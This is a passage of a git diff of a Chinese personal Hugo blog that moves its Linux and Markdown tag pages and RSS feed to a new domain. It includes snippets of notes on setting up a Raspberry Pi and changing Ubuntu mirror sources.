height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Linux</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Linux | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/linux/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/linux/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Linux"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/linux/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Linux"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Linux</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
 修改为国内镜像源
@@ -8,36 +8,20 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
-ssid="wifi的名字"
-psk="wifi的密码"
-key_mgmt=WPA-PSK
-priority=1
-}
-update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid="wifi的名字" psk="wifi的密码" key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://xiaochenabc123.github.io/posts/29/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
+依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://chenjunlinabc.github.io/posts/29/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# 预发布软件源，不建议启用
-# deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://xiaochenabc123.github.io/posts/8/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://chenjunlinabc.github.io/posts/8/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/linux/index.xml b/tags/linux/index.xml
index db88c939..991a96ba 100644
--- a/tags/linux/index.xml
+++ b/tags/linux/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Linux on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/linux/</link>
+    <link>https://chenjunlinabc.github.io/tags/linux/</link>
     <description>Recent content in Linux on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 14:48:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/linux/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 14:48:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/linux/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>配置树莓派笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/29/</link>
+      <link>https://chenjunlinabc.github.io/posts/29/</link>
       <pubDate>Wed, 16 Jun 2021 14:48:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/29/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/29/</guid>
       <description>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
@@ -28,7 +28,7 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&amp;quot;wifi的名字&amp;quot;
psk=&amp;quot;wifi的密码&amp;quot;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&amp;quot;wifi的名字&amp;quot; psk=&amp;quot;wifi的密码&amp;quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
@@ -40,17 +40,17 @@ sudo raspi-config
     
     <item>
       <title>linux系统的日常使用</title>
-      <link>https://xiaochenabc123.github.io/posts/8/</link>
+      <link>https://chenjunlinabc.github.io/posts/8/</link>
       <pubDate>Wed, 16 Jun 2021 09:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/8/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/8/</guid>
       <description>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors.</description>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.</description>
     </item>
     
   </channel>
diff --git a/tags/linux/page/1/index.html b/tags/linux/page/1/index.html
index 9f1ab994..00423d8b 100644
--- a/tags/linux/page/1/index.html
+++ b/tags/linux/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/linux/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/linux/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/linux/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/linux/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/linux/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/linux/"></head></html>
\ No newline at end of file
diff --git a/tags/markdown/index.html b/tags/markdown/index.html
index 0390581a..26923f14 100644
--- a/tags/markdown/index.html
+++ b/tags/markdown/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Markdown | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/markdown/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/markdown/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Markdown"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/markdown/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Markdown"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Markdown</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Markdown | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/markdown/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/markdown/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Markdown"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/markdown/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Markdown"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a 